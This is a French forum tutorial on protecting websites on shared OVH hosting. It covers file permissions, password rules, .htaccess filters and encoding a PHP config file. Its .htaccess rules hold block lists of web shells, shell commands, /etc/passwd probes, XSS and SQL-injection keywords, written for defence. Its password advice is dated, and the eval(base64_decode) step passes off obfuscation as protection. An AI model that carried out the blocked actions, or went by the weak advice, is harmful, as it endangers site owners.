Voir la version complète : Sécuriser son site web des attaques des pirates et hackers
Je vous propose de partager votre expérience de lutte contre le piratage et le hacking de vos sites web hébergés en mutualisé chez OVH.
POUR TOUT PROBLEME D'APPLICATION, créez une discussion dans le forum "Hébergement Mutualisé" et NON dans cet article NI dans le sous-forum HOW-TO afin que tout le monde puisse trouver l'article qu'il cherche. Merci.
Donc, ne répondez pas ici, mais dans l'autre forum.
POSTEZ ICI VOS ASTUCES ANTI-PIRATAGE. L'objectif de cette discussion est de faire une liste de trucs et astuces.
Comment éviter que votre site ne soit utilisé par un pirate pour qu'il envoie ses spams à partir de votre compte ? Comment éviter le "defacing", c'est-à-dire l'effacement de votre site web et son remplacement par un autre, ou une page avec un slogan anti-occidental ? Comment éviter certains trous de sécurité?
Les serveurs en mutualisé d'OVH sont relativement sécurisés et OVH dispose d'outils qui lui permettent de bloquer certains comportements suspects. Cette action a posteriori bloque notre compte. Il est donc préférable de prévenir ce type de piratage. En tant que client et utilisateur, nous devons éviter la suspension de notre compte si nous sommes la victime d'une attaque.
Voici donc quelques conseils. C'est l'accumulation de ces trucs et astuces qui sécurisera votre site, car il n'y a pas de solution unique; les pirates utilisent plusieurs moyens différents.
Qui sont les pirates? Dans 80% des cas, ce sont des "skiddy", des jeunes ("kid" en anglais, "kiddy" pour petit jeune) qui utilisent des scripts prêts à l'emploi (le "s" de skiddy) qu'on trouve facilement sur le web pour exploiter les failles d'un blog, forum, cms, gallery, wiki, etc. Ils ne font qu'utiliser ces scripts comme on utilise un logiciel. Ce ne sont pas des "petits génies". Ils se lancent des défis à celui qui effacera le plus de sites web. Les autres sont des pirates au service d'une mafia afin de transformer votre site web et une faille de votre blog, forum, cms, gallery, wiki en logiciel d'envoi de spams. Ceux-là créent leurs propres scripts qu'ils ne partagent pas avec une communauté.
Pourquoi attaquent-ils votre site? Ni le skiddy, ni le mafieux ne vous visent personnellement. Les uns le font pour le jeu, les autres pour l'argent. Il est peu probable qu'on vous vise pour des raisons politiques. Certains skiddies effacent des sites et se cachent derrière des pseudo slogans anti-occidentaux, histoire de vous faire peur et de se prendre au sérieux. Il n'en est rien.
Comment savent-ils que mon site a une faille de sécurité? Réponse: Google ! Il cherche un fichier précis comme login.php, confip.php, ou autres, et, combiné avec quelques mots-clés, ils savent quel blog, forum, cms, gallery, wiki vous utilisez, et essaieront de lancer un script pour tester si l'attaque fonctionne. Il ne font pas ça manuellement, ils ont des logiciels qui le font automatiquement !! Leurs logiciels testent chaque URL listée par Google à la recherche de la faille. C'est aussi simple que ça. Ils vous trouvent par hasard.
Donc, nous allons essayer de nous prémunir contre ces attaques automatiques. Ces conseils ne concernent que les sites web hébergés en mutualisé sur OVH et utilisant un blog, forum, cms, gallery, wiki , etc.
CONSEIL NUMÉRO 1: votre blog, forum, cms, gallery, wiki doit être à jour. Vous suivrez les mises à jour sécurité et les installerez sans attendre.
LES RÈGLES LES PLUS IMPORTANTES:
Comme ce tutoriel est long, voici les règles qu'il faut appliquer en priorité. Vous pourrez inclure les autres après.
1- Attribuer par FTP aux fichiers les droits chmod 404 et aux dossiers les droits chmod 505. Voir l'article ici: http://forum.ovh.com/showpost.php?p=103753
2- Règles de filtrage par htaccess. Permet d'arrêter de nombreuses attaques avant de toucher votre site web. Voir les 2 articles ici http://forum.ovh.com/showpost.php?p=103757 et là http://forum.ovh.com/showpost.php?p=103758
3- Règles de sauvegarde et de restauration de votre site web. D'abord, vérifiez quels fichiers le pirate a ajouté ou modifié en installant ce script: http://forum.ovh.com/showpost.php?p=104517 . Ensuite, êtes-vous capable d'effacer complètement votre site web pour effacer toutes les traces du pirate et de tout réactiver en 30 minutes? Voici comment. Pour la sauvegarde: http://forum.ovh.com/showpost.php?p=108086 et la restauration: http://forum.ovh.com/showpost.php?p=108087
4- Si vous programmez en PHP, des règles simples de filtrages sont ici: http://forum.ovh.com/showpost.php?p=104634. Même chose pour l'injection SQL: http://forum.ovh.com/showpost.php?p=107657 . Ne soyez pas irresponsable, pensez à filtrer tout ce qui rentre dans votre script.
Les droits d'écriture, de lecture et d'exécution.
-= INDISPENSABLE =-
Plus d'infos ici:
Le guide d'OVH sur cette question. (http://guides.ovh.com/DroitUnix)
Description du CHMOD et de la signification des numéros. (http://www.toulouse-renaissance.net/c_outils/c_chmod.htm)
On a l'habitude de dire qu'on doit attribuer par FTP les droits 644 à un fichier et 755 à un dossier.
En fait, le serveur mutualisé d'OVH ne semble pas utiliser de groupe. Donc, on pourrait très bien utiliser les droits 604 pour un fichier et 705 pour un dossier. Si un pirate pénètre le système avec un droit de groupe, il n'aura accès à rien, ni en lecture ni en écriture.
On peut aller plus loin. Protégeons les parties sensibles de votre blog, forum, cms, gallery, wiki, comme le fichier config.php et .htaccess en lui donnant les droits 404. Personne ne pourra le modifier, même pas vous (c'est faux dans l'absolu si votre site a un gros trou de sécurité, mais imparable contre une attaque automatique). Vous ne pourrez le faire que par FTP quand vous aurez vraiment besoin de le modifier.
Voilà comment je protège mon site:
- Tous les fichiers ont les droits 404
- Tous les dossiers ont les droits 505.
- Si un fichier ou un dossier nécessitent des droits d'écriture par le serveur mettez 604 pour le fichier et 705 pour le dossier. Chez OVH ça marche. Inutile de faire le fameux 777 (tous les droits à tout le monde). D'ailleurs OVH interdit les chmod en 777, il bloque le dossier qui a ce paramètre.
- Les fichiers config et htaccess ont des droits 404
- Le dossier "www" doit être en chmod 705, ne le changez jamais.
Avantage: personne ne peut modifier vos fichiers. Inconvénient: il faut changer les droits en écriture (604 et 705) si vous faites une mise à jour de votre blog, forum, cms, gallery, wiki et remettre les bons droits 404 et 505 après. Cela prend 10 min., mais ça vaut la peine.
Pourquoi est-ce si important: le pirate essaye d'installer un fichier sur votre site afin d'en prendre le contrôle (pour effacer le site, y placer un script qui envoie du spam, etc.). Il cherche des trous de sécurité pour pouvoir uploader son fichier de prise de contrôle. Si votre site a un trou de sécurité, le pirate l'exploitera, mais comme votre site web n'a que des dossiers et fichiers interdits en écriture, il ne pourra rien uploader. Son attaque ne marchera pas.
Il est possible d'accélérer le changement des droits par SSH:
http://forum.ovh.net/showpost.php?p=104511
Les mots de passe
Protégez vos mots de passe.
On peut essayer de pénétrer votre hébergement en devinant votre mot de passe FTP ou SQL. OVH propose par défaut d'excellents mots de passe mais impossibles à mémoriser. Si vous changez les mots de passe, respectez les règles suivantes:
1- un mot de passe doit avoir au minimum 8 caractères, plus c'est mieux.
2- il ne doit jamais être un mot qu'on trouve dans le dictionnaire d'aucune langue. Les logiciels pour cracker des mots de passe ont des dictionnaires de centaines de milliers de mots de toutes les langues et cherchent toutes les combinaisons. Cela prend entre quelques minutes à quelques petites heures pour cracker ces mots de passe très facilement.
3- Un bon mot de passe contient des lettres et des chiffres.
4- N'UTILISEZ JAMAIS LE MÊME MOT DE PASSE pour le FTP, base SQL, e-mail, interface d'administration du site web. Le pirate SAIT que s'il trouve votre mot de passe, il a de fortes chances que ce soit le même mot de passe ailleurs !!! Beaucoup d'hébergeurs proposent un mot de passe unique pour "simplifier" la gestion, heureusement, ce n'est pas le cas d'OVH.
Il existe des logiciels qui proposent des mots de passe mémorisables. C'est ce qu'il y a de mieux. Des sites web proposent aussi des mots de passe phonétiques, créant des mots faciles à mémoriser:
http://tools.arantius.com/password
http://www.freepasswordgenerator.com/
http://www.pctools.com/guides/password/
Une méthode personnelle de création de mot de passe:
http://forum.ovh.net/showthread.php?t=19935
Pour être sûr qu'un mot de passe mémorisable n'existe dans aucune langue, tapez-le en partie ou en entier dans Google. S'il ne retourne aucun résultat, alors votre mot de passe n'est pas un mot du dictionnaire.
Le fichier .htaccess
Je vous propose 10 astuces pour sécuriser votre site web. Elles sont très efficaces et permettent de stopper beaucoup de tentatives de piratages avant que votre blog, forum, cms, gallery, wiki entre en action. Donc, dans une certaine mesure, si votre logiciel a une faille, peut-être que ces règles éviteront qu'elle ne soit exploitée. N'installez pas ces règles en une fois, suivez les conseils d'installations et de tests en bas de la 10è astuce.
Créez le fichier .htaccess avec un logiciel de texte simple (tout sauf Word). Appelez-le "txt.htaccess", envoyez-le par FTP dans votre dossier www et renommez-le en ".htaccess". Puis donnez-lui par FTP les droits 404. Il ne sera pas modifiable.
Voici une suite de commandes qui permettent de sécuriser votre site web.
1- Register_Globals sur OFF:
Depuis la version 4.2 de PHP, cette fonction est sur OFF et c'est tant mieux pour la sécurité. Or, OVH met ce paramètre sur ON sur les serveurs mutualisés. On corrige cela. -= INDISPENSABLE =-
Un conseil: si un script exige que le paramètre PHP Register_Globals soit sur ON, trouvez un autre script concurrent.
SetEnv REGISTER_GLOBALS 0
On peut modifier quelques variables de php.ini dont la maigre liste est ici:
http://guide.ovh.net/configphp
2- Interdire l'accès à ce fichier depuis un navigateur web:
<Files .htaccess>
order allow,deny
deny from all
</Files>
3- Interdire de lister le contenu d'un dossier:
Options -Indexes
4- Exclure les logiciels suspects utilisés par les pirates et certains aspirateurs de site web. -= TRÈS EFFICACE =-. Évite la plupart des attaques des "skiddy". Ci-dessous, on interdit plus de 350 robots.
###FILTRE CONTRE ROBOTS DES PIRATES ET ASPIRATEURS DE SITE WEB
### LISTE ICI: http://www.bg-pro.com/?goto=badbot
RewriteEngine On
## EXCEPTION: TOUS LES ROBOTS MEMES ANONYMES OU BANNIS PEUVENT ACCEDER A CES FICHIERS
RewriteCond %{REQUEST_URI} !^/robots.txt
RewriteCond %{REQUEST_URI} !^/sitemap.xml
## EXCEPTION: SI UTILISATION DE *PAYPAL INSTANT NOTIFICATION PAYMENT*, COMME PAYPAL N'UTILISE PAS DE HTTP_USER_AGENT, L'IPN NE MARCHERA PAS.
RewriteCond %{REQUEST_URI} !^/paypal-ipn.php
##
RewriteCond %{HTTP_USER_AGENT} ^-?$ [OR] ## ANONYMES
RewriteCond %{HTTP_USER_AGENT} ^[bcdfghjklmnpqrstvwxz\ ]{8,}|^[0-9a-z]{15,}|^[0-9A-Za-z]{19,}|^[A-Za-z]{3,}\ [a-z]{4,}\ [a-z]{4,} [OR] ## CEUX QUI INVENTENT DES NOMS AU HASARD
RewriteCond %{HTTP_USER_AGENT} ^<sc|<\?|8484\ Boston\ Project|autoemailspider|@nonymouse|ADSARobot|Advan ced\ Email\ Extractor|^adwords|ah-ha|aktuelles|amzn_assoc|Anarchie|anonymous|Art-Online|ASPSeek|ASSORT|ATHENS|Atomz|attach|autoemai lspider|BackWeb|Bandit|BatchFTP|bdfetch|big.brothe r|BlackWidow|blogsearchbot-martin|bmclient|Boston\ Project|BravoBrian\ SpiderEngine\ MarcoPolo|Bullseye|bumblebee|capture|CherryPicker| ChinaClaw|CICC|clipping|compatible\ \;|Crescent|Crescent\ Internet|Custo|cyberalert|Deweb|diagem|Digger|Digi marc|DIIbot|DirectUpdate|disco|DISCoFinder|Downloa der|Download\ Accelerator|Download\ Demon|Download\ Wonder|Drip|DSurf15a|DTS.Agent|EasyDL|eCatch|echo\ extense|ecollector|efp@gmx\.net|EirGrabber|EmailCo llector|EmailSiphon|Email\ Siphon|EmailWolf|Email\ Extractor|Express\ WebPictures|ExtractorPro [NC,OR] ## VRAIS ET FAUX ROBOTS NE RESPECTANT PAS LES REGLES
RewriteCond %{HTTP_USER_AGENT} EyeNetIE|fastlwspider|FavOrg|Favorites\ Sweeper|^Fetch|FEZhead|FileHound|flashget|FlashGet \ WebWasher|FlickBot|fluffy|frontpage|GalaxyBot|Gene ric|Getleft|GetRight|GetSmart|GetWeb!|GetWebPage|g igabaz|Girafabot|Go!Zilla|go-ahead-got-it|GornKer|Grabber|GrabNet|Grafula|Green\ Research|grub-client|grub\ crawler|hanzoweb|Harvest|hhjhj@yahoo|hloader|HMVie w|HomePageSearch|HTTPConnect|httpdown|httplib|Http Proxy|HTTP\ agent|http\ generic|HTTrack|ia_archive|IBM_Planetwide|IDBot|id-search|imagefetch|Image\ Stripper|Image\ Sucker|IncyWincy|Indy\ Library|informant|Ingelin|InterGET|InternetLinkAge nt|InternetSeer\.com|^Internet\ Explorer|Internet\ Ninja|IPiumBot|Iria|Irvine|Jakarta\ Commons|JBH*Agent [NC,OR] ## VRAIS ET FAUX ROBOTS NE RESPECTANT PAS LES REGLES
RewriteCond %{HTTP_USER_AGENT} JetCar|JOC|JOC\ Web\ Spider|JustView|Kapere|KWebGet|Lachesis|larbin|Lee chFTP|LexiBot|lftp|likse|Link*Sleuth|LINKS\ ARoMATIZED|LinkWalker|Mac\ Finder|Mag-Net|Magnet|Mass\ Downloader|MCspider|Microsoft\ URL|Microsoft\ Data|MIDown\ tool|minibot\(NaverRobot\)|Mirror|Missigua|Mister\ PiX|MJ12bot|MMMtoCrawl\/UrlDispatcherLLL|Movable\ Type|Moozilla|^Mozilla$|^MSIE|Murzillo|MSProxy|mul tithreaddb|nationaldirectory|Navroad|NearSite|NetA nts|NetCarta|NetMechanic|netprospector|NetResearch Server|NetSpider|NetZIP|NetZippy|NetZip\ Downloader|Net\ Vampire|NEWT|nicerspro|NICErsPRO|NPBot|Nutch|Nutsc rape/|Octopus|Offline\ Explorer|Offline\ Navigator|OmniExplorer|OpaL|Openfind|OpenTextSiteC rawler [NC,OR] ## VRAIS ET FAUX ROBOTS NE RESPECTANT PAS LES REGLES
RewriteCond %{HTTP_USER_AGENT} OrangeBot|PackRat|PageGrabber|Papa\ Foto|pavuk|pcBrowser|PersonaPilot|PingALink|Pockey |Program\ Shareware|Proxy|psbot|PSurf|psycheclone|^puf|Pump| PushSite|PussyCat|PycURL|python|QRVA|QuepasaCreep| RealDownload|Reaper|Recorder|ReGet|replacer|RepoMo nkey|almaden|Robozilla|Rover|RPT-HTTPClient|Rsync|SearchExpress|searchhippo|searcht erms\.it|Second\ Street\ Research|Seeker|Shai|sitecheck|SiteMapper|SiteSnag ger|SlySearch|SmartDownload|snagger|SpaceBison|Spe gla|SpiderBot|SqWorm|Star\ Downloader|Stripper|sucker|SuperBot|SuperHTTP|Surf bot|SurfWalker|SurveyBot|Szukacz|tAkeOut|tarspider |Teleport\ Pro|Telesoft|Templeton|TrackBack|TrueRobot|Turing| TurnitinBot [NC,OR] ## VRAIS ET FAUX ROBOTS NE RESPECTANT PAS LES REGLES
RewriteCond %{HTTP_USER_AGENT} TV33_Mercator|UIowaCrawler|URL_Spider_Pro|^user|^U ser\ Agent:\ |^User-Agent:\ |UtilMind|Vacuum|vagabondo|vayala|visibilitygap|vo bsub|VoidEYE|vspider|w3mir|WebaltBot|WebAuto|webba ndit|WebCapture|Webclipping|webcollage|webcollecto r|WebCopier|webcraft@bea|WebDAV|webdevil|webdownlo ader|Webdup|WebEmailExtractor|WebFetch|WebGo\ IS|WebHook|Webinator|WebLeacher|WEBMASTERS|WebMine r|WebMirror|webmole|WebReaper|WebSauger|WEBsaver|W ebsite\ eXtractor|Website\ Quester|WebSnake|Webster|WebStripper|websucker|web vac|webwalk|webweasel|WebWhacker|WebZIP|Web\ Data\ Extractor|Web\ Downloader|Web\ Image\ Collector|Web\ Sucker|web\.by\.mail|whizbang|WhosTalking|Widow|Wi dows|WISEbot|WISEnutbot|WUMPUS|Wweb|WWWOFFLE|Wysig ot|x-Tractor|Xaldon\ WebSpider|XGET|Yandex|Zeus|Zeus.*Webster [NC] ## VRAIS ET FAUX ROBOTS NE RESPECTANT PAS LES REGLES
RewriteCond %{HTTP_USER_AGENT} ^curl|^Fetch\ API\ Request|GT\:\:WWW|^HTTP\:\:Lite|httplib|^Java/1.|^Java\ 1.|^LWP|libWeb|libwww|^PEAR|PECL\:\:HTTP|PHPCrawl| ^Program\ Shareware|python|Rsync|Snoopy|^URI\:\:Fetch|WebDAV |^Wget [NC] ## BIBLIOTHEQUES / CLASSES HTTP DONT ON NE VEUT PAS. ATTENTION, CELA PEUT BLOQUER CERTAINES FONCTIONS DE VOTRE CMS. NE PAS TOUT EFFACER, MAIS CHERCHEZ LE NOM DE LA CLASSE HTTP CONCERNEE (DEMANDEZ AUX DEVELOPPEURS DE VOTRE CMS). CETTE LISTE BLOQUE 80% DES ROBOTS SPAMMEURS. IL FAUT LA CONSERVER.
RewriteRule (.*) - [F]
Si vous n'osez pas mettre la grosse liste des méchants robots, prennez celle ci-dessous. Cette liste simplifiée est le minimum qu'il faut avoir:
###FILTRE CONTRE CERTAINS ROBOTS DES PIRATES
RewriteEngine On
## EXCEPTION: TOUS LES ROBOTS MEMES ANONYMES OU BANNIS PEUVENT ACCEDER A CES FICHIERS
RewriteCond %{REQUEST_URI} !^/robots.txt
RewriteCond %{REQUEST_URI} !^/sitemap.xml
##
RewriteCond %{HTTP_USER_AGENT} ^-?$ [OR] ## ANONYMES
RewriteCond %{HTTP_USER_AGENT} ^[bcdfghjklmnpqrstvwxz\ ]{8,}|^[0-9a-z]{15,}|^[0-9A-Za-z]{19,}|^[A-Za-z]{3,}\ [a-z]{4,}\ [a-z]{4,} [OR] ## CEUX QUI INVENTENT DES NOMS AU HASARD
RewriteCond %{HTTP_USER_AGENT} ^<sc|<\?|^adwords|@nonymouse|Advanced\ Email\ Extractor|almaden|anonymous|Art-Online|autoemailspider|blogsearchbot-martin|CherryPicker|compatible\ \;|Crescent\ Internet\ ToolPack|Digger|DirectUpdate|Download\ Accelerator|^eCatch|echo\ extense|EmailCollector|EmailWolf|Extractor|flashge t|frontpage|Go!Zilla|grub\ crawler|HTTPConnect|httplib|HttpProxy|HTTP\ agent|HTTrack|^ia_archive|IDBot|id-search|Indy\ Library|^Internet\ Explorer|^IPiumBot|Jakarta\ Commons|^Kapere|Microsoft\ Data|Microsoft\ URL|^minibot\(NaverRobot\)|^Moozilla|^Mozilla$|^MS IE|MJ12bot|Movable\ Type|NICErsPRO|^NPBot|Nutch|Nutscrape/|^Offline\ Explorer|^Offline\ Navigator|OmniExplorer|^Program\ Shareware|psycheclone|PussyCat|PycURL|python|Quepa saCreep|SiteMapper|Star\ Downloader|sucker|SurveyBot|Teleport\ Pro|Telesoft|TrackBack|Turing|TurnitinBot|^user|^U ser-Agent:\ |^User\ Agent:\ |vobsub|webbandit|WebCapture|webcollage|WebCopier| WebDAV|WebEmailExtractor|WebReaper|WEBsaver|WebStr ipper|WebZIP|widows|Wysigot|Zeus|Zeus.*Webster [NC,OR] ## VRAIS ET FAUX ROBOTS NE RESPECTANT PAS LES REGLES
RewriteCond %{HTTP_USER_AGENT} ^curl|^Fetch\ API\ Request|GT\:\:WWW|^HTTP\:\:Lite|httplib|^Java/1.|^Java\ 1.|^LWP|libWeb|libwww|^PEAR|PECL\:\:HTTP|PHPCrawl| ^Program\ Shareware|python|Rsync|Snoopy|^URI\:\:Fetch|WebDAV |^Wget [NC] ## BIBLIOTHEQUES / CLASSES HTTP DONT ON NE VEUT PAS. ATTENTION, CELA PEUT BLOQUER CERTAINES FONCTIONS DE VOTRE CMS. NE PAS TOUT EFFACER, MAIS CHERCHEZ LE NOM DE LA CLASSE HTTP CONCERNEE (DEMANDEZ AUX DEVELOPPEURS DE VOTRE CMS). CETTE LISTE BLOQUE 80% DES ROBOTS SPAMMEURS. IL FAUT LA CONSERVER.
RewriteRule (.*) - [F]
Lire la suite à l'article suivant...
5- On n'autorise que l'affichage de certains fichiers, et pas les autres. Le fichier index.php est le fichier par défaut. Si on affiche index.htm, ça ne marche pas. L'intérêt est d'interdire au pirate d'afficher sur son navigateur un fichier ou un format de fichier non autorisé.
Attention: il faut tester ces interdictions et les adapter au besoin.
### SEUL LE FICHIER index.php EST SERVI COMME PREMIER FICHIER PAR DEFAUT. LES AUTRES SONT INTERDITS
DirectoryIndex index.php
### INTERDIRE LES AUTRES TYPES DE FICHIER INDEX
<Files ~ "^(index)\.(p?s?x?htm?|txt|aspx?|cfml?|cgi|pl|php[3-9]|jsp|xml)$">
order allow,deny
deny from all
</Files>
### INTERDIRE L'AFFICHAGE DE CERTAINS FORMATS DE FICHIER
### EXÉCUTÉS PAR LE SERVEUR MAIS INTERDIT D'AFFICHAGE PAR LE NAVIGATEUR WEB
<Files ~ "\.(inc|class|sql|ini|conf|exe|dll|bin|tpl|bkp|dat| c|h|py|spd|theme|module)$">
deny from all
</Files>
### INTERDIRE L'AFFICHAGE DE CERTAINS FICHIERS COMME config, option, login, setup, install, admin.
### A ADAPTER SI CELA POSE PROBLEME
<Files ~ "^((wp-)?config(\.inc)?|configure|configuration|login|opt ions?\.inc|option|settings?(\.inc)?|functions?(\.i nc)?|setup(\.inc)?|default|home|main|install?|admi n|errors?|hacke?r?d?|[-_a-z0-9.]*mafia[-_a-z0-9.]*|[-_a-z0-9.]*power[-_a-z0-9.]*|[-_a-z0-9.]*jihad[-_a-z0-9.]*|php|shell|ssh|root|cmd|[0-9]{1,6}|test|data)\.(p?s?x?htm?l?|txt|aspx?|cfml?|cg i|pl|php[3-9]{0,1}|jsp?|sql|xml)$">
order allow,deny
deny from all
</Files>
6- Interdiction du hotlinking. Remplacez mondomaine par votre nom de domaine, tld par fr com net org ..., et 60gp par 90plan, start1g, etc. selon votre hébergement, et remplacez loginftp par votre... login FTP.
### ON EVITE LE VOL D'IMAGES, VIDEO, SON, FEUILLE DE STYLE, PDF ET ZIP
### LES VISITEURS DOIVENT PASSER PAR LE SITE.
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://[-_a-z0-9.]*mondomaine\.tld$ [NC]
RewriteCond %{HTTP_REFERER} !^http://[-_a-z0-9.]*mondomaine\.tld/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://60gp\.ovh\.net/~loginftp/.*$ [NC]
RewriteRule .*\.(gif|jpe?g?|jp2|png|svgz?|ico|css|pdf|zip|gz|j s|mp3|m4a|mp4|mov|divx|avi|wma?v?|wmp|swf|flv|docx ?|xlsx?|pptx?|vbs|rtf|asf?x?|odt|ods|odp|odg|odb)$ - [NC,F]
7- On bloque certaines requêtes bizarres:
### DES FAUX URLS, ON LES NEUTRALISE
RedirectMatch gone ^/_vti.*
RedirectMatch gone ^/MSOffice.*
RedirectMatch gone ^[-_a-z0-9/\.]*//.*
RedirectMatch gone ^.*/etc/passwd.*
8- On bloque toute une série de failles potentielles. La plupart des pirates utilisent ces moyens pour tester la faiblesse de votre site. Là, on les bloque avant qu'il ne pénètre votre blog, forum, cms, gallery, wiki. -= INDISPENSABLE =-
### FILTRE CONTRE XSS, REDIRECTIONS HTTP, base64_encode, VARIABLE PHP GLOBALS VIA URL, MODIFIER VARIABLE _REQUEST VIA URL, TEST DE FAILLE PHP, INJECTION SQL SIMPLE
RewriteEngine On
RewriteCond %{REQUEST_METHOD} (GET|POST) [NC]
RewriteCond %{QUERY_STRING} ^(.*)(%3C|<)/?script(.*)$ [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)(%3D|=)?javascript(%3A|:)(.*)$ [NC,OR]
RewriteCond %{QUERY_STRING} ^(.*)document\.location\.href(.*)$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)(%3D|=)http(%3A|:)(/|%2F){2}(.*)$ [NC,OR] ## ATTENTION A CETTE REGLE. ELLE PEUT CASSER CERTAINES REDIRECTIONS RESSEMBLANT A: http://www.truc.fr/index.php?r=http://www.google.fr ##
RewriteCond %{QUERY_STRING} ^(.*)base64_encode(.*)$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)GLOBALS(=|[|%[0-9A-Z]{0,2})(.*)$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)_REQUEST(=|[|%[0-9A-Z]{0,2})(.*)$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)(SELECT\+|UNION+ALL|INSERT\+|DELETE\+|CHAR\(| UPDATE\+|REPLACE\+|LIMIT\+)(.*)$ [NC]
RewriteRule (.*) - [F]
9- Si des pirates ont réussi à pénétrer votre site, ils installent un script qui leur permettent de prendre les commandes de votre hébergement. Ici, on bloque la plupart des commandes de ces scripts. À tester avec votre site web, car c'est très puissant et efficace. À la 5e ligne, remplacez "loginftp" par vos valeurs. Cette règle est très efficace mais peut casser votre blog, forum, cms, gallery, wiki. À utiliser en dernier, puis à tester intensément, et effacez éventuellement la règle qui pose problème.
### FILTRE CONTRE PHPSHELL.PHP, REMOTEVIEW, c99Shell et autres
RewriteEngine On
RewriteCond %{REQUEST_URI} .*((php|my)?shell|remview.*|phpremoteview.*|sshphp .*|pcom|nstview.*|c99|r57|webadmin.*|phpget.*|phpw riter.*|fileditor.*|locus7.*|storm7.*)\.(p?s?x?htm ?l?|txt|aspx?|cfml?|cgi|pl|php[3-9]{0,1}|jsp?|sql|xml) [NC,OR]
RewriteCond %{REQUEST_METHOD} (GET|POST) [NC]
RewriteCond %{QUERY_STRING} ^(.*)=/home(.+)?/loginftp/(.*)$ [OR]
RewriteCond %{QUERY_STRING} ^work_dir=.*$ [OR]
RewriteCond %{QUERY_STRING} ^command=.*&output.*$ [OR]
RewriteCond %{QUERY_STRING} ^nts_[a-z0-9_]{0,10}=.*$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)cmd=.*$ [OR] ## ATTENTION A CETTE REGLE. ELLE PEUT CASSER VOTRE SITE ##
RewriteCond %{QUERY_STRING} ^c=(t|setup|codes)$ [OR]
RewriteCond %{QUERY_STRING} ^act=((about|cmd|selfremove|chbd|trojan|backc|mass browsersploit|exploits|grablogins|upload.*)|((chmo d|f)&f=.*))$ [OR]
RewriteCond %{QUERY_STRING} ^act=(ls|search|fsbuff|encoder|tools|processes|ftp quickbrute|security|sql|eval|update|feedback|cmd|g ofile|mkfile)&d=.*$ [OR]
RewriteCond %{QUERY_STRING} ^&?c=(l?v?i?&d=|v&fnot=|setup&ref=|l&r=|d&d=|tree&d|t&d=|e&d=|i&d=|codes|md5crack).*$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)([-_a-z]{1,15})=(ls|cd|cat|rm|mv|vim|chmod|chdir|concat|mk dir|rmdir|pwd|clear|whoami|uname|tar|zip|unzip|tar |gzip|gunzip|grep|more|ln|umask|telnet|ssh|ftp|hea d|tail|which|mkmode|touch|logname|edit_file|search _text|find_text|php_eval|download_file|ftp_file_do wn|ftp_file_up|ftp_brute|mail_file|mysql|mysql_dum p|db_query)([^a-zA-Z0-9].+)*$ [OR]
RewriteCond %{QUERY_STRING} ^(.*)(wget|shell_exec|passthru|system|exec|popen|p roc_open)(.*)$
RewriteRule (.*) - [F]
10- Empêcher l'exécution de tout script PHP, Perl, CGI dans un dossier. L'option ci-dessous vous permet par exemple de protéger un dossier d'upload ou tout dossier très sensible dont vous voulez renforcer la sécurité. Il ne faut pas utiliser cette option dans le fichier .htaccess avec tous les codes décrits ci-dessus. Je vous invite plutôt à créer un fichier .htaccess et à le mettre dans le dossier à protéger. Cette option empêche un navigateur web d'exécuter le script directement. Mais si le navigateur ouvre le fichier index.php qui fait un include() vers un fichier php se trouvant dans le dossier protégé par le code ci-dessous, tout s'exécutera bien. On protège donc l'exécution directe du fichier par un navigateur quand le pirate essaye d'entrer du code malicieux non filtré.
# Aucun script dans le dossier et ses sous-dossiers, que ce soit PHP, PERL ou autre CGI, ne pourra s'executer si ExecCGI est inactif. Et interdit d'afficher la liste des fichiers.
OPTIONS -ExecCGI -Indexes
Ne mettez pas ces règles d'un coup.
Copiez-en une, puis testez votre blog, forum, cms, gallery, wiki en ajoutant, modifiant un article, ajoutez effacez un utilisateur, accédez à votre interface d'administration et faites plusieurs choses. Si tout est OK, mettez une autre règle. En cas de problème, regardez l'URL appelée. Il y a peut-être un mot clé qui est bloqué par le fichier .htaccess. Il faudra effacer ce mot clé du fichier .htaccess. Vous l'avez compris, ce système filtre l'URL et regarde s'il est conforme à une utilisation normale. Donc, si vous avez un message d'erreur, trouvez le mot clé qui bloque la requête.
Il faut adapter ces règles à votre cas, ce n'est pas du simple copier-coller.
Plus tard, si dans l'utilisation de votre blog, forum, cms, gallery, wiki, vous voyez une erreur 403, alors il est probable qu'une règle du filtrage soit active.
Enfin, votre blog, forum, cms, gallery, wiki utilise souvent le fichier .htaccess pour y mettre des règles de ré-écriture d'URL plus lisibles (appelé URL rewriting). Mettez les filtres anti-pirates en premier et les règles URL rewriting à la fin. En effet, les filtres s'appliquent du premier au dernier. Placer les filtres anti-pirates après les règles de ré-écriture d'URL de votre blog, forum, cms, gallery, wiki n'apporterait aucun bénéfice (ce n'est pas vrai à 100%, mais il y a des raisons).
Crypter son fichier config.inc.php
Malgré toutes les précautions, le pirate a pénétré votre site et cherche maintenant à connaître les login et mot de passe de votre base MySQL pour la pirater, la vider et en prendre le contrôle. On peut lui compliquer la tâche en cryptant ces données sensibles. Le serveur web pourra lire ces informations facilement, mais elles ne seront pas lisibles directement par un œil humain.
Pour un expert en PHP, cette protection ne dure que 2 minutes, cela lui fait du travail en plus, mais nous ne sommes pas là pour lui faciliter la tâche ?
Visitez un de ces sites web et cryptez vos données.
http://www.btt-scripts.com/demo/encrypt/ - http://www.scriptomart.com/obfuscate/ - http://www.rightscripts.com/phpencode/ - http://www.mobilefish.com/services/php_obfuscator/php_obfuscator.php
Par exemple, mon fichier config.php contient ceci:
<?php
//** MySQL settings **//
$db_server = "mysql5-1";
$db_name = "nombasesql";
$db_username = "loginsql";
$db_password = "motdepasse";
?>
Je copie la partie à encoder entre les balises <?php et ?>
Je choisis l'encodage "PHP - Extrastrength". Ne cherchez pas un encodage plus élevé, j'ai constaté des erreurs sur les serveurs mutualisés d'OVH.
Je copie la longue ligne qui commence par eval(xxxx entre les balises <? et ?> et le colle dans le fichier config.inc.php, ce qui donne:
<?php
eval(gzuncompress(gzinflate(base64_decode('AXEAjv9 42tPX19JS8K0MDvRRKE4tKcnMSy9W0NLS1+flUklJii9OLSpLL VJQULBVUMqtLC7MMdU1VLKGyOUl5qYqKEDk8vJzkxKLU4EKYLK lQK1gFUDZnPz0zDwkuYLE4uLy/KIUsKn5JSmpIIFUkCwAmYgq2g=='))));
